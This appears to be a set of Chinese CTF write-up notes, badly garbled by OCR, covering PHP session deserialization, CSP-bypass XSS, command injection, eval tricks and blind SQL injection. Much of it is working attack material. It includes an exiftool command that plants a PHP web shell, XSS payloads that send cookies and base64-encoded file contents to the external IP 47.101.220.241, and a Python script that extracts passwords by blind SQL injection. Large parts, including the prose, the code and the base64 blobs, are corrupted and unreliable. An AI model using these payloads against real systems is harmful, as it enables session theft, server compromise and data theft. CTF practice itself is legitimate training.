eval($this->mdzz);

}

}
if(isset($_GET['phpinfo'])) {

$m = new OowoO();

}
else {

highlight_string(file_get_contents('index.php'));

}

?>
B REIAHIRR
1.[PHP Session 3L KR F5I4k b2 38 ¥ B FI R L R &£k B ] (https://github. com/80vul/phpcodz/blob/master/research
/pch-013.md)
FEBWE SESSION FIEEHR SESSION WINE B, MAMATARKFILTTE, KERBUERNEEAN, #SBRFIMLFFR. <?php
i

$_SESSION['ryat'] = '|0:8:"stdClass":0:{}"';

FhiERfER php_serialize ==> a:1:{s:4:"ryat";s:20:"|0:8:"stdClass":0:{}";}
REFFMLAER php ==>

// var_dump($_SESSION);

array(1) {

["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (@) {
}
}

Bl PHP 3KHX SESSION FRFHJE, MIFFMERE A | (BL , ABRKKFRESE R BREL7 M RE”,

FrxtSREBAT RFFIL. EMRXRRFIRY, BEBCGEZ K@Y, RET—MEE, PATRRERERE,

HEIRI.

B4EEH eval(), fH $mdzz HEAAE, MWMAFHEHTRNNBERBRER, IRFEMART AR,

2.[B®BH php RFFFILES ] (http://www.91ri.org/15925.html)

FHEFL BN phpinfo ME XM, KILT session.upload_progress.enabled #F, 3 H session.upload_progress.cleanup %
o

KRR TR R A BRI R . mREER session.upload_progress.cleanup TF, MAERHARLIEHEEFE LML large and cra
sh XfF, RE/RAIENFdatafd AT .
https://img-blog.csdn.net/20171103001723738?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvd31f0Tc=/font/5a6L5L2T/
fontsize/400/fill/I0IBQkFCMA==/dissolve/70/gravity/SouthEast



Y—A e S, FR post —45 ini B session.upload_progress.name RI4&ZFER, php HMELXF post HRMETE
$_SESSION H¥sin—HEHE .
FrUAF LAiEid session.upload_progress R#E session.

MRARIEE, PHP BRINER “php* 1EN session FFILKIHEZ.
FRATARR, WE "$_SESSION['al|b'] = 1;°, &KLk LRER#EE, X “phpe K.

IE¥HiES N example#l http://php.net/manual/zh/session.upload-progress.php, B4 Ajax BiREE R HIEHE

filename="]0:5:\"0owoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"
Array (
[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i1:1551019950;s:14:"content_length";i:434;s:15:"byt
es_processed";i:434;s:4:"done";b:1;s:5:"files";
a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"]
=> OowoO Object (
[mdzz] => print_r($_SESSION);

N session BMERRIXEER, HFEL, field name WEWIEK, A —FEH filename"
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "filel", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"“tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file

EBRVEIKEL /home/ctf/flag.txt HHIflagll. (EBUEHpngX: Ei%)

HEFBE—A test.php, HAHEKRIR phpinfo FiE

[phpinfoml LA 1F A4 ] (http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/)
MHFEEFA imagick Ff&, M4k disable_function K%

imagemagick F7E [cve](http://www.2cto.com/article/201605/505823.html)

XEW LM exiftool TH, 111.png RAHSHMER

exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;2\> >
/opt/lampp/htdocs/uploads/x.php; \"" 111.png

FoNEEE S, HEE cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt

exiftool -label="\"|/bin/cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt ; \"" 111l.png
R —HIRE BN wp, BHREXME, H-HEERRY (WRETHERD, =EMERICTANEE, B85, &80
HEXE RREXUFARNERERRELER N BHEHA —1 XHERS S LechoE NN S SRE

S EE—KHEARINNEFBEEFBE REHEERE—KBR filetype KISHN show
&) L3ET1/85]flag



XMER RELAHY

/proxy.php?url=202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php
https://skysec.top/2018/08/15/%E4A%BB%8E%EA%B8%80%E9%81%93CTF%ES%A2%98%E5%BC%I5%ES%8F%91%E7%9A%84%E6%80%9D%E 8%80%
83/

Hintl: csp bypass

A CSP My Eptd xss AT

Content-Security-Policy: default-src 'self'; script-src 'self' BiR&MHBFRBLE js
(bR E bR, ATREE—AjsbE, BARMART

#13) https://csp-evaluator.withgoogle.com/ T

#ELLH): object-src [missing]

object-src EX \<applet>. \<embed>. \<object> %5|HEIRIMB KL

% https://hurricane618.me/2018/06/30/csp-bypass-summary/

<link rel="prefetch" href="http://47.101.220.241:9999/?c=[cookie]">

<link rel='preload' href="http://demo.wywwzjj.top/public/xss.js"'>

<link rel='prefetch' href="http://demo.wywwzjj.top/public/xss.js?c=jdklfa’'>
<link rel='prefetch' href='120.77.176.168:11122?c=jdklfa"'>

<link rel='prefetch' href='35.201.152.114:8001?c=jdklfa’'>

<meta http-equiv="refresh" content="0; url="http://35.201.152.114:8001/xxx.jpg?refresh'">

<script>

var lin = document.createElement("1link");

lin.setAttribute("rel", "prefetch");

lin.setAttribute("href", "http://35.201.152.114:8001?a=" + document.cookie);
document.head.appendChild(lin);

</script>

I FH S R A 3 d S 36 IE RS

import random
import string
import hashlib

def md5(s):

s = s.encode(encoding="utf8")
hashlib.md5()
m.update(s)

m

return m.hexdigest()

if _name__ == "__main__":
target = input()
while 1:
string = "'
s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890"',4))
if md5(s)[:4] == target:

print(s)

break

# LERASE R A A
<?php
$hashfuc="'md5"';



while(1){
$arg = trim(fgets(STDIN));

$i = 0;
while(++$1i){
if(substr($hashfuc($i), 0@, strlen($arg)) === $arg){
echo($i."\n". $hashfuc($i)."\n");
break;
}
}
?>

#hackme xss

http://47.101.220.241:9999

<script>
document.location="http://47.101.220.241:9999?cookie="+document.cookie
new Image().src="http://47.101.220.241:9999?cookie="+document.cookie
</script>

<img src="http://47.101.220.241:9999?cookie="+document.cookie></img>

<svg/onload="document.location="http://47.101.220.241:9999"'">
<iframe src=http://47.101.220.241:9999 <

<svg/onload="javascript:document.location.href=("http://47.101.220.241:9999?cookie="+document.cookie)">
FRAKNE

<script

)

onmouseover
onload
onerror
onfocus
<iframe

<svg/onload="8&#x6a;&#x61;&#x76;&H#x61 ; &H#x73;&#x63 ; &#x72 ;&#x69 ; &#x70 ; &#x74 ; &#x3a; &#x64 ; &#x6T ; &#x63 ; &#x75 ; &#x6d ; &#x
65; &#x6e; &#X74; &#tx2e; &H#X6C ; &HXOT ; &HX63 ; &HX61 ; &#HX74 ; &#X69 ; &#X6T ; &#x6e; &#x2e; &#X68; &#X72; &#X65 ; &#X66 ; &#x3d; &#x28; &
#X27 ; &#X68; &H#XT74 ; &HXT74 ; &HX70 ; &#tx3a ; &HX 2T ; &#H X2 ; &# X34 ; &#X37; &#x2e; &#x31; &#x30; &#x31; &#x2e; &#x32; &#x32; &#x30; &#tx2e
5 &HX32; &#X34 ; &#x31 ; &#x3a; &#X39 ; &#X39 ; &#Xx39 ; &#X39 ; &# X3 ; &#X63 ; &#X6T ; &#X6T ; &#xX6b; &#X69; &#X65 ; &#x3d; &#Xx27 ; &#Xx2b ; &#tXx
64 ; &#X6T ; &#X63 ; &#X75 ; &#Xx6d ; &#X65 ; &#tx6e ; &#Xx74 ; &#tx2e ; &#X63 ; &HX6T ; &#X6T ; &#X6b ; &#X69 ; &#X65; &#x29; ">

<svg/onload=document.location="http://47.101.220.241:9999?cookie="+document.url>
url --> undefinded
referer --> localhost/read.php

FAFEAIRT LAEE config.php HHANE

<l-- <?php

/l database config
define(‘DB_USER’, ‘xssrf’);
define(‘DB_PASS’, ‘xssrfmeplz’);
define(‘DB_HOST, ‘host=localhost’);
define(‘DB_NAME’, ‘xssrf);



Il redis config
define(‘REDIS_HOST, ‘localhost’);
define('REDIS_PORT, 25566);

Il define flag
define(‘FLAG’, ‘FLAG{curl -v -o flag --next flag://in-the.redis/the ?port=25566&good=luck} );
$c_hardness = 5; // how many proof of work leading zeros

error_reporting(E_ALL *E_NOTICE);

session_start();

require(‘config.php’);

$connection_string = sprintf(‘mysql:%s;dbname=%s;charset=utf8mb4’, DB_HOST, DB_NAME);
db= pewP DO( connection_string, DB_USER, DB_PASS);
require(‘user_func.php’);

require(‘mail_func.php’);

require(‘waf_func.php’);

function redirect($url="‘index.php’) {

$url = (string)preg _replace(’/[\r\n]+/’, ¢’, $url);
header(“Location: $url”);

}

function login_required() {

if(lisset(KaTeX parse error: Expected '}, got 'EOF' at end of input: ...=" . urlencode(_ SERVER['REQUEST_URI]));
exit;

}

}

function admin_required() {
login_required();
if($_SESSION['user][is_admin’]!=="1"){
$error_msg = ‘Admin required’;
require(‘error.php’);

exit;

}

}

function h(KaTeX parse error: Expected '}, got 'EOF' at end of input: ...n htmlentities(str, ENT_QUOTES | ENT_HTMLD5);
}

ifisset($_SESSION['user])) {

unread ount= count nread ail();if(_SESSION/‘user’][‘is_admin’]) {
* ]

<svg/onload="

var x=new XMLHttpRequest();

x.onreadystatechange=function() {

if (xreadyState4 && x.status200) {

document.location="http://47.101.220.241:9999/?code="+btoa(x.responseText);

}

}
x.open(“POST “request.php”,true);

x.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
x.send(“url=file://variwww/html/request.php”);

"


http://47.101.220.241:9999/?code='%20rel=

<svg/onload="
var x=new XMLHttpRequest(); x.onreadystatechange=function() { if (x.readyState==4 && x.status==200) {
document.location="http://47.101.220.241:9999/?code="+btoa(x.responseText); } } x.open(“POST" “request.php” true);

x.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”); x.send(“url=file:///varimww/html/request.php”);

"

PCFETONUWVBFIGhObWw
CjxodG1slIGxhbmc9ImVulj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IIVURi041j4KICAgIDx0aXRsZT5YU1NSRIAtIF JicXVic
3Q8L3RpdGxIPgogICAgP GxpbmsgecmVsPSJzdHIsZXNoZWV0liBocmVmPSJib290c3RyYXAVY3NzL2Jvb3RzdHJhcC5taW4uY3
NzliBtZWRpYTO0iYWxslj4KICAgIDxsaW5rHJIbD0ic3R5bGVzaGVIdClgaHJIZj0ic3R5bGUUY3NzIiBtZWRp YTOi YWxs|j4KICAgIDxzd
HisZT5wecmUgeyBiYWNrZ3JvdW5kLWNvb G9yOiAjZWVIOyBwYWRkaW5n0iA1cHg7IHO8L3NOe WxIPgogIDwvaGVhZD4KICA8Y
m9keT4KPG5hdiBjbGFzcz0ibmF2YmFylG5hdmJhci1leHBhbmQtb GegbmF2YmFyLWRhecmsgYmctZGFyayBkLWZsZXgiPgogIDx
hIGNsYXNzP SJuYXZiYXItYndhbmQilGhyZWY9ImIuZGV4LnBocCl WFNTUKY8BL2E CgogIDx1bCBjbGFzcz0ibmF2YmFyLW5hdil
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGV1j4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5riBocmVmPSJzZW5kbWFpbC5waHAIPINI
bmQgTWFpbDwvYT4KICAgIDwWvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGV1j4KICAgICAgPGEgY2xhc3M9Im5hdi1saWsriBocmVmPSJtYWIsYm94LnBocCl
TWFpbGJveDwvYT4KICAgIDWvbGk
CiAgICA8bGkgY2xhc3M9OIm5hdi1pdGV1j4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5riBocmVmPSJzZW50bWFpbC5waHAIPINI
bnQgTWFpbDwvYT4KICAgIDwWvbGk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGV1j4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5riBocmVmPSJzZXRhZG1pbiSwaHAIPINIA
CBBZG1pbjwvYT4KICAgIDwWvb Gk
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGV1j4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5riBocmVmPSJyZXF1ZXNOLnBocCl
U2VuZCBSZXF1ZXNOPC9hPgogICAgPC9saT4KICA8L3VsPgoKICA8dWwgY2xhc3M9ImShdmJhci1uYXYgbWwtYXV0byl
CiAgICA8bGkgY2xhc3M9Im5hdi1pdGV1j4KICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10Z2Xh0lj512ZWxsbywg YWRtaW4gKEFkb
WiuaXNOcmFO0b3IpPC9zcGFuPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2LWIOZWO0iPgogICAgICA8YSBjbGFzcz0ibmF2
LWxpbmsilGhyZWY9ImxvZ291dC5waHAiIPkxvZ291dDwvYT4KICAgIDwWvbGk CiAgPC91bD4KPCOuYXY
CgogICAgPGRpdiBjbGFzcz0iY29udGF pbmVyljdKCiAgICAgIDxwemU PGNvZGU

Jmx00yZxdWVzd DtwaHAgemVxdWIyZS ZscGF yOyZhcG9zO2NvbW 1 vbiZwZXJpb2Q7 cGhwJmFwb3M7 JndwYXI7 JnNIbWk7 Jk5Id
OxpbmU7YWRtaW4mbG93YmFyO3JicXVpemVkJmxwYXI7IndwYXI7 InNIbWk7 Jk51d0xpbmU7 Jk5Id0xpbmU7 JmRvbGxhejttc2cgJ
mVxdWFsczsgJmxicmFjazsmcnNxYjsmc2VtaTsmTmV3TGIuZTsmZG9sbGFyO3VybCAmMZXF 1 YWxzOyAmYXBvczsmYXBvczsmc
2VtaTsmTmV3TGIuZTsmZG9sbGFyO3Jic3VsdCAMZXF 1YWxzOyAmYXBvczsmYXBvczsmc2VtaTsmTmV3TGIuZTsmTmV3TGlu
ZTtpZiZscGFy02lzc2VOJImxwYXI7 JmRvb GxhcjsmbG93YmFyO1BPU1QmbGJyYWNrOyZhcG9zO3Vyb CZhcG9zOyZyc3FiOyZycG
FyOyZycGFyOyAmbGJyYWNIOyZOZXdMaW5IOyAgICAmZG9sb GFyO3VybCAmMZXF 1 YWxzOyAmZG9sbGFyOyZsb3diYXI7UE9
TVCZsYndhY2s7JmFwb3M7dXJsdmFwb3M7JnJzcWI7JnNIbWk7 Jk51d0xpbmU7ICAgICZkb2xs YXI7cmVzdWx0ICZIcXVhbHM7IH
NoZWxsJmxvd2Jhcjtle GVjdmxwYXI7JmFwb3M7Y3VybCAtbSAXICOtY29ubmVjdC10aW1Ib3VOIDEgLXMgJmFwb3M7ICZwZXJpb
2Q71GVzY2FwZXNoZWxsYXJIndmxwYXI7 JmRvbGxhcjt1 cmwmenBhcjsmenBhejsmc2VtaTsmTmV3TGluZTsmemN1YjsmTmV3 TGl
uZTsmcXVIe3Q7Jmd00yZsdDsmZXhjbDtETONUWYVBFIGhObWwmZ3Q7 Jk51d0xpbmU7Jmx002h0bWwgbGF uZyZlcXVhbHM7Jn
F1b3Q72W4mcXVvdDsmZ3Q7 Jk51d0xpbmU7ICAMbHQ7aGVhZCZndDsmTmV3TGluZTsgICAgJmx00211dGEgY2hhcnNIdCZlc
XVhbHM7JnF1b3Q7VVRGLTgmcXVvdDsmZ3Q7Jk51d0xpbmU7ICAgICZsdDt0aXRsZSZndDtYU1NSRIiAtIF JicXVIc3QmbHQ7Jn
NvbDt0aXRsZSZndDsmTmV3TGIuZTsgICAgIJmx002xpbmsgemVsJmVxdWFsczsmeXVvdDtzdHIsZXNoZWV0JnF 1b3Q71GhyZW
YmZXF 1YWxzOyZxdW9002Jvb3RzdHJhcCZzb2w7 Y3NzJnNvbDtib290c3RyYXAmcGVyaW9k02 1pbiZwZXJpb2Q7Y3NzJnF 1b3
Q71G11ZGIhdmVxdWFsczsmcXVvdDthb GwmeXVvdDsmZ3Q7 Jk51d0xpbmU7ICAgICZsdDtsaWbrIHJIbCZIcXVhbHM7JnF 1b3Q7c
3R5bGVzaGVIdCZxdW900yBocmVmJdmVxdWFsczsmeXVvdDizdHIsZSZwZXJpb2Q7Y3NzJnF 1b3Q71G11ZGIhdmVxdWFsczsmc
XVvdDthbGwmcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAgICZsdDtzdHIsZS Znd DiwemUgJdmxicmFjZTsgYmFja2dyb3VuZC1jb2xvciZjb2x
vbjsgJm51b TIZWUmc2VtaTsgcGFkZGluZyZjb2xvbjsgNXB4JnNIbWK7ICZyY3ViOyZsdDsmc29sO3N0e WxIJmd00OyZOZXdMaWslI
OyAgJmx00yZzb2w7aGVhZCZndDsmTmV3TGluZTsglCZsdDtib2R5Jmd00yZ0ZXdMaW5IOyZsdDsmceXVIc3Q7cGhwiHJIcXVpc
mUmbHBhcjsmYXBvcztuYXYmcGVyaW9kO3BocCZhcG9zOyZycGFyOyZzZ\W1pOyAmcXVIc3Q7Imd00yZO0ZXdMaW5I0yZOZX
dMaWS5IOyAgICAMbHQ7ZGI2IGNsYXNzIJmVxdWFsczsmeXVvdDtjb250 YWIuZXImeXVvdDsmZ3Q7 Jk51d0xpbmU7 Jmx0OyZxdW
VzdDtwaHAgZm9yZWFjaCZscGFyOyZkb2xs YXI7bXNnIGF zZIGxpc3QmbHBhcjsmZG9sbGFyO3R5cGUMY29tb WE 7IC Zkb2xs YXI7
Y29udGVudCZycGFyOyZycGF yOyZjb2xvbjsgdnF 1ZXNOOyZndDsmTmV3TGIuZTsgICAgICAmMbHQ7ZGI2IGNsYXNzJmVxdWFscz
smeXVvdDthhGVvdCBhbhGVvdCOmhHQ7.InF 17X NOOVZIeXVhhHM7.ImRvh GxheitOe XBLINNIhWk7.InF 1 ZXNOOvZndDsmeXVvdD
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stSQ?meOOnydWVdestXF1 Y\Nszkab2stXI7Y29udGVudCZzZW 1 pOnydWVdest3Q7J meOyZzb2w7ZGI2deO
OyZ0OZXdMaW5IOyZsdDsmcXVIc3Q7cGhwlGVuZGZvemVhY2gmc2VtaTsgJnF1ZXNOOyZndDsmTmV3TGIuZTsmTmV3TGIuZTs
mbHQ7JnF1ZXN0O3BocCBpZiZscGFyOyZkb2xsYXI7cmVzdWx0JndwYXI7 JmNvb GOuOyAmcXVIc3Q7Jmd00yZO0ZXdMaW5IOy
AgICAgICZsdDtwemUmZ3Q7Jmx002NvZGUmZ3Q7Jmx00yZxdWVzdDsmZXF 1 YWxzO2gmbHBhcjsmZG9sbGFyO3Jic3VsdCZy
cGFyOyZxdWVzdDsmZ3Q7 Jmx00yZzb2w7Y29kZSZndDsmbHQ7 JnNvbDtwemUmZ3Q7 Jk5IdOxpbmU7Jmx00yZxd WV zd DiwaH
AgZW5kaWYmc2VtaTsgJnF1ZXNOOyZndDsmTmV3TGIuZTsmTmV3TGIuZTsgICAgICAMbHQ7Zm9ybSBhY3Rpb24mZXF 1YWxz
OyZxdW900yZsdDsmcXVIc3Q7ImVxdWFsczsmZG9sb GFyOyZsb3diYXI7UOVSVKVSJImxicmFjazsmYXBvcztSRVFVRVNUJImxv
d2JhcjtVUkkmYXBvczsmenNxYjsmeXVIe3Q7JImd00yZxdW900yBtZXRob2QmZXF 1 YWxzOyZxdW9001BPU1QmcXVvdDsmZ3Q
7Jk5ld0xpbmU7ICAgICAgICAMbHQ7ZGI2IGNsYXNzJmVxdWFsczsmeXVvdDtmb3JtL Wdyb3VwJnF 1b3Q7Jmd00yZ0ZXdMaW
5I0yAgICAgICAgICAMbHQ7bGFiZWwgZm9yJmVxdWFsczsmcXVvdDt1cmwmceXVvdDsmZ3Q7VVJIMJImx00yZzb2w7bGFiZWw
mZ3Q7Jk51d0xpbmU7ICAgICAGICAQGICZsdDt0ZXhOYXJIYSBuYW1IUmVxdWFsczsmeXVvdDt1cmwmceXVvdDsgY2xhc3MmZXF 1
YWxzOyZxdW90022vemO0tY29udHJIvbCZxdW90OyBpZCZIcXVhbHM7JnF1b3Q7dXJsJnF 1b3Q7IGFyaWEZGVZzY3JpYmVKYnkm
ZXF1YWxzOyZxdW9003VybCZxdW900yBwbGFjZWhvb GRIciZIcXVhbHM7JnF 1b3Q7VVJIMJnF 1b3Q7 IHJvd3MmZXF 1 YWxzOyZ
xdW900OzEwJnF 1b3Q7Jmd00yZsdDsmcXVIc3Q7JImVxdWFsczsmZG9sbGFyO3VybCZxdWVzdDsmZ3Q7Jmx00yZzb2w7dGV4
dGFyZWEmMZ3Q7Jk5ld0xpbmU7ICAgICAgICAMbHQ7 JnNvbDtkaXYmZ3Q7Jk5ld0xpbmU7Jk5ld0xpbmU7ICAgICAgICAMbHQT7Y
nNVOdGIOuIGNsYXNzJmVxdWFsczsmcXVvdDtidG4gYnRuLXByaW1hcnkmceXVvdDsmZ3Q7U2VuZCBSZXF 12ZXN0Jmx00yZzb2w
7YnV0dG9uJmd00yZOZXdMaW5IO0yAgICAgICZsdDsmc29s02Z2vem0mZ3Q7 Jk51d0xpbmU7ICAgICZsdDsmc29s0O2RpdiZndDs
mTmV3TGluZTsglCZsdDsmc29s02JvZHkmZ3Q7 Jk5Id0xpbmU7JImx00yZzb2w7aHRtbCZndDsmTmV3TGIuZTs8L2NvZGU
PC9wcmU

CgogICAgICA8Zm9ybSBhY3Rpb2491i9yZXF 1ZXNOLnBocClgbWV0aG9kPSJQT1NUI4KICAgICAGICA8ZGI2IGNs YXNzPSJmb3
JILWdyb3Vwli4KICAgICAgICAgIDxsYWJIbCBmMb3I9InVybCl
VVJIMPC9sYWJIbD4KICAgICAgICAgIDX0ZXhOYXJIYSBUuYW1IPSJ1cmwilGNs YXNzPSJmb3JtLWNvbnRyb2wilGIkPSJ1cmwilGF
yaWEtZGVzY3JpYmVkYnk9InVybClgcGxhY2Vob2xkZXI9IVSTCIgecm93cz0iMTAIPmMZpbGUBLYy8vdmFyL 3d3dy9odG1sL3JIcXVic
3QucGhwPC90ZXh0YXJIYT4KICAQICAgGICABL2Rpdj4KCiAgICAgICAgPGJ1dHRWIBjbGFzcz0iYnRulGJObi1wemitYXJ55TZW5S
kIFJIcXVIc3Q8L2J1dHRvbj4KICAGICAgPCIMb3JtPgogICAgPC9kaXY CiAgPC9ib2R5Pgo8L2h0bWw Cg==

hackme command-exeutor

HEEWTHAH4 1s / env, FHRERGLSIIT
REFXMHEE, BEFEIED

index.php?func=php://filter/read=convert.base64-encode/resource=index

# index

<?php

$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['emd', 'Cmd Exec'],
['1s", 'List files'],

1

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;

}

$black list = [
"\/flag', "\(\)\s*\{\s*:;\s*\};'
13

function waf($a) {

global $black_list;
if(is_array($a)) {
foreach(%a as $kev => $val) {
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waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));

}

/] REBEEMEHRI R
foreach($_SERVER as $key => $val) {

if(substr($key, 0, 5) === "HTTP_') {
putenv("$key=$val"); // REBERAZTE
}

}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '’
¥
}

if($page && strlen($page) > @) {
try {

include("$page.php");

} catch (Exception $e) {

function render_default() { ?>

<?php foreach($pages as list($file, $title)): ?>

<li class="nav-item">

<a class="nav-1link" href="index.php?func=<?=$file?>"><?=$title?></a>
</1i>

<?php endforeach; ?>

<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>

<?php
function render() {
$cmd = '



if(isset($_GET['emd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['1s', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s<L2E"

# 1s

<?php

function render() {
$file = '.';

if(isset($_GET['file'])) {
$file = (string)$ GET['file'];
}

$dirs = ['.", "..', "../.0", '/etc/passwd'];
foreach($dirs as $dir) {

printf('<li><a href="index.php?func=1s&file=%s">%1$s</a></1i>", $dir);
}

printf('<h2>$ 1ls %s</h2>', htmlentities($file));

execute(sprintf('ls -1 %s', escapeshellarg($file)));
}

?>

# untar

<?php

function render() {
?>

<?php
if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
}

?>

# man
<?php
function render() {
$file = 'man’;
if(isset($_GET['file'])) {
$file = (string)$ GET['file'];
if(preg_match('/~[\w\-]+%$/", $file) !== 1) {
echo '<pre>Invalid file namel!</pre>';

return;
1



$cmds = ['bash', 'ls', 'cp', 'mv'];

foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1%$s</a></1i>"', $cmd);

}

printf('<h2>$ man %s</h2>', htmlentities($file));

execute(sprintf('man %s | cat', escapeshellarg($file)));

?>

# cmd

<?php

function render() {
$cmd = '’

if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</hl>
<?php
echo '<ul>';
$cmds = ['1ls', ‘env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></1i>", $c);

?>

<script>cmd.focus();</script>
<?php
if(strlen($cmd) > @) {
printf('<h2>$ %s</h2>', htmlentities($cmd));

switch ($cmd) {
case 'env':
case 'ls':
case 'ls -1":
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
}

?>

putenv ( string $setting ) : bool
W setting FIRFH/IAZAE, HNERBMNEETLRERIE, EilRERNIFHSREBVIRRE



<?php
shal($_SERVER[ 'REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb@9b4def7' ?: die();
';' === preg_replace("'/[*\W_]+\((?R)?\)/"', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE_ );

EAGEA HAE: curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: p
hpinfo();" -H "Accept: asdasd/asdasda"

(PHP 4 >= 4.0.4, PHP 5, PHP 7)
nginx

get_defined_vars() — REHFACEXZETHBREA

apache
getallheaders()

SKCTF login3



hint: EFMH/REISQLEHE

TET: T HHSEKRSF + 5 union and = ,
database() length=8

'

import requests

str_all="1234567890abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
re = requests.session()
url = "http://123.206.31.85:49167/index.php"’

def database():
res = "'
for i in range(1,9):
for j in str_all:
exp = "admin'~(ascii(mid(database()from({})))<>{})#".format(i, ord(j))
data = {
'username': exp,
'password’: 3242
}
html = re.post(url=url, data=data).text
#tprint(data)
if 'error' in html:
res += j
print(res)
break
# blindsql
# username=admin'~(select(0)from(admin))#&password=fgasrd

def password():
res = "'
for i in range(1,39):
for j in str_all:
exp = "admin'~(ascii(mid((select(password)from(admin))from({})))<>{})#".format(i, ord(j))
# where(username="admin")
data = {
'username’: exp,
'password’: 3242
}
html = re.post(url=url, data=data).text
#print(data)
if 'error' in html:
res += j
print(res)
break

# 51b7a76d51e70b419f60d3473fb61900

password()



REBRBH—RE, FERWRFA

<?php

include 'flag.php';

if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");

}
if(preg_match("/[A-Za-z0-9]+/",%code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__ FILE_ );
}
//$hint = "php function getFlag() to get flag";
?>

https://fireshellsecurity.team/0ctf-zer@lfsr/
https://hxp.io/blog/49/0CTF-Quals-2019-zer@lfsr-writeup/

from secret import initl,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(initl+init2+init3).hexdigest()+"}")

class 1fsr():

def __init__ (self, init, mask, length):
self.init = init
self.mask = mask
self.lengthmask = 2**(length+1)-1 # 48 4~ 1

def next(self):
# i 48 AT, BIRTER R
nextdata = (self.init << 1) #& self.lengthmask # 48 4~ 1
i = self.init & self.mask #& self.lengthmask
output = ©
while i != 0:
output *= (i & 1) # BARL:
i=1i»5>»1
# FHEA 1, output iR 1, TFNE o
#1/3 =>1 2/3 =>0
nextdata ~= output
# init & mask #FHA 1 nextdata RIKMZE o, BEMAE
self.init = nextdata
return output

def combine(x1,x2,x3):
return (x1*x2)"(x2*x3)~(x1*x3)
# (x1 & x2) ~ (x2 & x3) N (x1 & x3)

MBRER 75%

(0, o0, 0, Q)
(0, o0, 1, 9)
(0, 1, o, 9)
(0, 1, 1, 1)
(1, o, o, 9)
(1, o, 1, 1)



(1, 1, 8, 1)
(1, 1, 1, 1)

initl = 0b11101010111100111001001000111101010101100101100000001
init2 = 0b11011000111000100011011011011010000000110101111000100
init3 = 0b11101101011000011100101111100000100000011111011011001
if _ name__=="__main__":

# bytesKAUMARE, Ryt ithlBe

11 = 1fsr(int.from_bytes(initl,"big"),0b1000000000000000000000000100000000000000A0V00,48)
12 = 1fsr(int.from_bytes(init2,"big"),0b100000000000000000000000000V00V0V010000000000000,48)
13 = 1fsr(int.from_bytes(init3,"big"),0b100000100000000000000000000VOLVBVVVLVVAVLB00,48)

with open("keystream","wb") as f:
for i in range(8192):
b=20
for j in range(8):
b = (b<<1l)+combine(ll.next(),12.next(),13.next())
# ke bin(ord(b.decode())), HFF—AFFIHRE combine
f.write(chr(b).encode())
BET—A keystream, A encode(), FIAAREBHMINER, FEALE T

barr = b''
with open('keystream','rb') as f:
data = f.read()
i=090
while i < len(data):
